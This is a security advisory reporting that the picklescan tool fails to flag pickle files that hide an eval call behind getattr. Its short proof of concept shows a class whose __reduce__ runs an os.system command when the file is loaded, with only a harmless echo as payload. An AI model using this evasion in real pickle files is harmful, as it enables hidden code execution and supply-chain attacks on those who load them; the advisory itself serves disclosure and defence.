PYSEC-2026-1789

picklescan missing detection by simple obfuscation of a `builtins.eval` call

### Summary An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source. ### Details It's possible to hide the `eval` call nested under another callable via `getattr`. ### PoC ```python import builtins class EvilClass: @staticmethod def _obfuscated_eval(payload): getattr(builtins, "eval")(payload) def __reduce__(self): payload = "__import__('os').system('echo \"successful attack\"')" return self._obfuscated_eval, (payload,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.